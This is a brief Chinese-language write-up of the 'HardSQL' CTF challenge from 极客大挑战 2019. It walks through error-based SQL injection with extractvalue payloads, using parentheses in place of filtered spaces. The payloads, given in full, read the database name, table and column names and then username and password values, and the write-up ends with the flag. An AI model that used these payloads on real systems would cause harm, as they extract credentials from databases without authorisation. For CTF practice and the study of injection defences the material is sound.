[极客大挑战 2019]HardSQL 1
一开始直接尝试弱密码发现不行
输入admin’报错 admin’不报错证明双引号闭合于是构造union注入发现不行,被过滤了,双写绕不过,开始尝试报错注入
先看一下那些被过滤了
空格被过滤直接用()来进行代替
爆库
or(extractvalue(1,concat(0x7e,(select(database())))))or
由于#被过滤,这里用or’来进行闭合 爆出数据库geek。 接下来payload
or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(geek)))))or
or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1)))))or
or(extractvalue(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1)))))or
最终只显示出左半部分flag,这是因为extractvalue和updatexml只显示32位字符
or(extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)))))or
爆出右半部分flag进行拼接 flag{a60f3310-0d64-4be9-a4fc-fc90962e4213}
